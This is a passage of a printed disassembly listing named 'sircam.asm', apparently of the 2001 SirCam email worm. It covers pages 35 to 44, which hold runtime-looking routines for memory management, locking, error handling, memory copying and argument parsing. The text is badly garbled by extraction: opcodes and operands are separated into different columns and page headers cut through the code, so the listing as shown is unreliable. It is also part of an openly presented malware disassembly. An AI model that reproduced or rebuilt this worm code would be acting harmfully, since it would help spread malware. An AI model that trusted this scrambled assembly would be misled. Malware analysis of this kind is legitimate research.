; CODE XREF: sub_402160+13D\030j
; sub_402160+142\030j
mov
ds:dword_41E42C, 0Bh
jmp
short loc_4022C9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4022B6:
; CODE XREF: sub_402160+148\030j
mov
add
call
edx, [eax+8]
ebx, edx
sub_401AA8
sircam.asm
Fri Aug 10 12:42:44 2001
loc_4022C0:
35
; CODE XREF: sub_402160+135\030j
mov
mov
call
edx, ebx
eax, esi
sub_401CF8
mov
mov
xor
pop
pop
pop
mov
push
; CODE XREF: sub_402160+6F\030j
; sub_402160+AE\030j ...
eax, ds:dword_41E42C
[ebp+var_4], eax
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4022F9
cmp
jz
push
call
; CODE XREF: sub_402160+197\031j
ds:byte_41E041, 0
short locret_4022F1
offset unk_41E430
j_LeaveCriticalSection
loc_4022C9:
loc_4022DE:
locret_4022F1:
; CODE XREF: sub_402160+185\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4022F2:
; DATA XREF: sub_402160+3B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4022DE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4022F9:
sub_402160
; CODE XREF: sub_402160+33\030j
; sub_402160+10F\030j
; DATA XREF: ...
mov
pop
pop
pop
pop
pop
retn
endp
eax, [ebp+var_4]
edi
esi
ebx
ecx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402304
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
push
push
push
add
mov
add
and
cmp
jge
mov
ebx
esi
edi
ebp
esp, 0FFFFFFF8h
esi, edx
esi, 7
esi, 0FFFFFFFCh
esi, 0Ch
short loc_40231D
esi, 0Ch
mov
ebp, eax
; CODE XREF: sub_4024D4+4C\031p
loc_40231D:
; CODE XREF: sub_402304+12\030j
sircam.asm
Fri Aug 10 12:42:44 2001
36
sub
ebp, 4
mov
edi, [ebp+0]
and
edi, 7FFFFFFCh
mov
eax, ebp
add
eax, edi
mov
ebx, eax
cmp
edi, esi
jl
loc_4023BC
mov
edx, edi
sub
edx, esi
mov
[esp+8+var_8], edx
cmp
ebx, ds:dword_41E484
jnz
short loc_402380
mov
eax, [esp+8+var_8]
sub
ds:dword_41E484, eax
mov
eax, [esp+8+var_8]
add
ds:dword_41E480, eax
cmp
ds:dword_41E480, 0Ch
jge
loc_4024B3
mov
eax, [esp+8+var_8]
add
ds:dword_41E484, eax
mov
eax, [esp+8+var_8]
sub
ds:dword_41E480, eax
mov
esi, edi
jmp
loc_4024B3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402380:
mov
test
jnz
mov
mov
add
call
; CODE XREF: sub_402304+42\030j
ebx, eax
byte ptr [ebx], 2
short loc_402394
eax, ebx
edx, [eax+8]
[esp+8+var_8], edx
sub_401AA8
loc_402394:
; CODE XREF: sub_402304+81\030j
cmp
[esp+8+var_8], 0Ch
jl
short loc_4023B5
mov
ebx, ebp
add
ebx, esi
mov
eax, [esp+8+var_8]
or
eax, 2
mov
[ebx], eax
mov
eax, ebx
add
eax, 4
call
sub_401B6C
jmp
loc_4024B3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4023B5:
; CODE XREF: sub_402304+94\030j
mov
esi, edi
jmp
loc_4024B3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4023BC:
; CODE XREF: sub_402304+2F\030j
; sub_402304+1A6\031j
mov
sub
mov
cmp
jnz
mov
cmp
jl
mov
sub
mov
add
cmp
eax, esi
eax, edi
[esp+8+var_4], eax
ebx, ds:dword_41E484
short loc_402433
eax, ds:dword_41E480
eax, [esp+8+var_4]
short loc_40242A
eax, [esp+8+var_4]
ds:dword_41E480, eax
eax, [esp+8+var_4]
ds:dword_41E484, eax
ds:dword_41E480, 0Ch
sircam.asm
Fri Aug 10 12:42:44 2001
jge
mov
add
add
xor
mov
37
short loc_40240C
eax, ds:dword_41E480
ds:dword_41E484, eax
esi, ds:dword_41E480
eax, eax
ds:dword_41E480, eax
loc_40240C:
; CODE XREF: sub_402304+EE\030j
mov
eax, esi
sub
eax, edi
add
ds:dword_41E420, eax
mov
eax, [ebp+0]
and
eax, 80000003h
or
esi, eax
mov
[ebp+0], esi
mov
al, 1
jmp
loc_4024CC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40242A:
; CODE XREF: sub_402304+D1\030j
call
mov
add
sub_401D80
ebx, ebp
ebx, edi
loc_402433:
; CODE XREF: sub_402304+C6\030j
test
byte ptr [ebx], 2
jnz
short loc_402485
mov
edx, ebx
mov
eax, edx
mov
ecx, [eax+8]
mov
[esp+8+var_8], ecx
mov
ecx, [esp+8+var_8]
cmp
ecx, [esp+8+var_4]
jge
short loc_402459
add
edx, [esp+8+var_8]
mov
ebx, edx
mov
eax, [esp+8+var_8]
sub
[esp+8+var_4], eax
jmp
short loc_402485
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402459:
; CODE XREF: sub_402304+145\030j
call
sub_401AA8
mov
eax, [esp+8+var_4]
sub
[esp+8+var_8], eax
cmp
[esp+8+var_8], 0Ch
jl
short loc_402479
mov
eax, ebp
add
eax, esi
mov
edx, [esp+8+var_8]
call
sub_401CF8
jmp
short loc_4024B3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402479:
; CODE XREF: sub_402304+165\030j
add
esi, [esp+8+var_8]
mov
ebx, ebp
add
ebx, esi
and
dword ptr [ebx], 0FFFFFFFEh
jmp
short loc_4024B3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402485:
; CODE XREF: sub_402304+132\030j
; sub_402304+153\030j
mov
test
jz
and
add
mov
eax, [ebx]
eax, 80000000h
short loc_4024AF
eax, 7FFFFFFCh
eax, ebx
ebx, eax
sircam.asm
Fri Aug 10 12:42:44 2001
38
mov
edx, [esp+8+var_4]
mov
eax, ebx
call
sub_401E84
test
al, al
jz
short loc_4024AF
mov
ebx, ebp
add
ebx, edi
jmp
loc_4023BC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4024AF:
; CODE XREF: sub_402304+188\030j
; sub_402304+1A0\030j
xor
eax, eax
jmp
short loc_4024CC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4024B3:
; CODE XREF: sub_402304+5D\030j
; sub_402304+77\030j ...
mov
sub
add
mov
and
or
mov
mov
eax, esi
eax, edi
ds:dword_41E420, eax
eax, [ebp+0]
eax, 80000003h
esi, eax
[ebp+0], esi
al, 1
loc_4024CC:
sub_402304
; CODE XREF: sub_402304+121\030j
; sub_402304+1AD\030j
pop
pop
pop
pop
pop
pop
retn
endp
ecx
edx
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4024D4
proc near
var_4
= dword ptr -4
; CODE XREF: sub_4025B0+4\031j
; sub_4025C8+D\031j
; DATA XREF: ...
push
ebp
mov
ebp, esp
push
ecx
push
ebx
push
esi
push
edi
mov
esi, edx
mov
ebx, eax
cmp
ds:byte_41E428, 0
jnz
short loc_4024FB
call
sub_401904
test
al, al
jnz
short loc_4024FB
xor
eax, eax
mov
[ebp+var_4], eax
jmp
loc_40258C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4024FB:
; CODE XREF: sub_4024D4+12\030j
sircam.asm
Fri Aug 10 12:42:44 2001
xor
push
push
push
mov
cmp
jz
push
call
39
; sub_4024D4+1B\030j
edx, edx
ebp
offset loc_402585
dword ptr fs:[edx]
fs:[edx], esp
ds:byte_41E041, 0
short loc_40251C
offset unk_41E430
j_EnterCriticalSection
loc_40251C:
; CODE XREF: sub_4024D4+3C\030j
mov
edx, esi
mov
eax, ebx
call
sub_402304
test
al, al
jz
short loc_40252E
mov
[ebp+var_4], ebx
jmp
short loc_402564
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40252E:
; CODE XREF: sub_4024D4+53\030j
mov
call
mov
mov
sub
mov
and
sub
cmp
jge
mov
eax, esi
sub_401FD8
edi, eax
eax, ebx
eax, 4
eax, [eax]
eax, 7FFFFFFCh
eax, 4
esi, eax
short loc_40254C
eax, esi
test
jz
mov
mov
xchg
call
mov
call
edi, edi
short loc_402561
edx, edi
ecx, ebx
eax, ecx
sub_4026B0
eax, ebx
sub_402160
mov
[ebp+var_4], edi
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4024D4+58\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40258C
cmp
jz
push
call
; CODE XREF: sub_4024D4+B6\031j
ds:byte_41E041, 0
short locret_402584
offset unk_41E430
j_LeaveCriticalSection
loc_40254C:
; CODE XREF: sub_4024D4+74\030j
loc_402561:
; CODE XREF: sub_4024D4+7A\030j
loc_402564:
loc_402571:
locret_402584:
; CODE XREF: sub_4024D4+A4\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402585:
; DATA XREF: sub_4024D4+2A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_402571
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40258C:
sub_4024D4
40
; CODE XREF: sub_4024D4+22\030j
; DATA XREF: sub_4024D4+98\030o
mov
pop
pop
pop
pop
pop
retn
endp
eax, [ebp+var_4]
edi
esi
ebx
ecx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402598
proc near
test
jz
call
or
jz
; CODE XREF: CODE:00402B74\031p
; sub_40358C+8\031p ...
eax, eax
short locret_4025A6
ds:off_41C01C
eax, eax
short loc_4025A7
locret_4025A6:
; CODE XREF: sub_402598+2\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4025A7:
sub_402598
; CODE XREF: sub_402598+C\030j
mov
jmp
endp
al, 1
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4025B0
proc near
test
jz
call
or
jnz
; CODE XREF: sub_402B84+1D\031p
; sub_4034C8+1C\031p ...
eax, eax
short locret_4025BE
ds:off_41C020
eax, eax
short loc_4025BF
locret_4025BE:
; CODE XREF: sub_4025B0+2\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4025BF:
sub_4025B0
; CODE XREF: sub_4025B0+C\030j
mov
jmp
endp
al, 2
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4025C8
proc near
; CODE XREF: sub_4039FC+22\031p
; sub_404414+B9\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
41
mov
ecx, [eax]
test
ecx, ecx
jz
short loc_402600
test
edx, edx
jz
short loc_4025EA
push
eax
mov
eax, ecx
call
ds:off_41C024
pop
ecx
or
eax, eax
jz
short loc_4025F9
mov
[ecx], eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4025E3:
; CODE XREF: sub_4025C8+2E\031j
mov
al, 2
jmp
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4025EA:
; CODE XREF: sub_4025C8+8\030j
mov
[eax], edx
mov
eax, ecx
call
ds:off_41C020
or
eax, eax
jnz
short loc_4025E3
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4025F9:
; CODE XREF: sub_4025C8+16\030j
; sub_4025C8+48\031j
mov
al, 1
jmp
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402600:
test
jz
push
mov
call
pop
or
jz
mov
; CODE XREF: sub_4025C8+4\030j
edx, edx
short locret_402614
eax
eax, edx
ds:off_41C01C
ecx
eax, eax
short loc_4025F9
[ecx], eax
locret_402614:
sub_4025C8
; CODE XREF: sub_4025C8+3A\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402618
proc near
; CODE XREF: sub_402598+11\030j
; sub_4025B0+11\030j ...
and
mov
test
jz
pop
call
eax, 7Fh
ecx, ds:dword_41E004
ecx, ecx
short loc_402628
edx
ecx
dec
mov
jns
call
; CODE XREF: sub_402618+B\030j
eax
al, byte ptr ds:nullsub_5[eax]
short loc_40263C
sub_4059F0
loc_402628:
sircam.asm
Fri Aug 10 12:42:44 2001
mov
eax, [eax+4]
jmp
endp
sub_4034BC
loc_40263C:
sub_402618
42
; CODE XREF: sub_402618+17\030j
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
aRsu
db ’ÌÈÉ×ÏÈÍÎÛØÊÙÚÜÝÞßàáã’,0
dd 8BC3E5E4h
db 0C0h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40265C
proc near
; CODE XREF: CODE:00409409\031p
; sub_416478+13B\031p ...
push
eax
push
edx
push
ecx
call
sub_4059F0
cmp
dword ptr [eax+4], 0
pop
ecx
pop
edx
pop
eax
jnz
short loc_402671
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402671:
sub_40265C
; CODE XREF: sub_40265C+12\030j
xor
jmp
endp
eax, eax
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40267C
proc near
sub_40267C
push
call
pop
retn
endp
; CODE XREF: CODE:00402691\031j
; CODE:00404E8C\031j ...
eax
sub_4059F0
dword ptr [eax+4]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40268C:
; CODE XREF: CODE:0040513D\031j
call
j_GetLastError
jmp
sub_40267C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402698
proc near
call
sub_4059F0
xor
edx, edx
mov
ecx, [eax+4]
mov
[eax+4], edx
mov
eax, ecx
retn
; CODE XREF: sub_409608+7\031p
sircam.asm
sub_402698
Fri Aug 10 12:42:44 2001
43
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4026B0
proc near
; CODE XREF: sub_4024D4+81\030p
; sub_40351C+1B\031p ...
push
esi
push
edi
mov
esi, eax
mov
edi, edx
mov
eax, ecx
cmp
edi, esi
ja
short loc_4026CF
jz
short loc_4026ED
sar
ecx, 2
js
short loc_4026ED
repe movsd
mov
ecx, eax
and
ecx, 3
repe movsb
pop
edi
pop
esi
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4026CF:
; CODE XREF: sub_4026B0+A\030j
lea
esi, [esi+ecx-4]
lea
edi, [edi+ecx-4]
sar
ecx, 2
js
short loc_4026ED
std
repe movsd
mov
ecx, eax
and
ecx, 3
add
esi, 3
add
edi, 3
repe movsb
cld
loc_4026ED:
sub_4026B0
; CODE XREF: sub_4026B0+C\030j
; sub_4026B0+11\030j ...
pop
pop
retn
endp
edi
esi
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4026F0
proc near
var_1000
= byte ptr -1000h
; CODE XREF: sub_402768+3A\031p
push
ebx
push
esi
add
esp, 0FFFFF004h
push
eax
mov
esi, edx
mov
ebx, eax
jmp
short loc_402700
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4026FF:
; CODE XREF: sub_4026F0+18\031j
inc
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
loc_402700:
44
; CODE XREF: sub_4026F0+D\030j
; sub_4026F0+28\031j
mov
test
jz
cmp
jbe
al, [ebx]
al, al
short loc_40270A
al, 20h
short loc_4026FF
loc_40270A:
; CODE XREF: sub_4026F0+14\030j
cmp
byte ptr [ebx], 22h
jnz
short loc_40271A
cmp
byte ptr [ebx+1], 22h
jnz
short loc_40271A
add
ebx, 2
jmp
short loc_402700
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40271A:
; CODE XREF: sub_4026F0+1D\030j
; sub_4026F0+23\030j
xor
eax, eax
jmp
short loc_402743
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40271E:
; CODE XREF: sub_4026F0+5F\031j
cmp
dl, 22h
jnz
short loc_40273E
inc
ebx
jmp
short loc_40272B
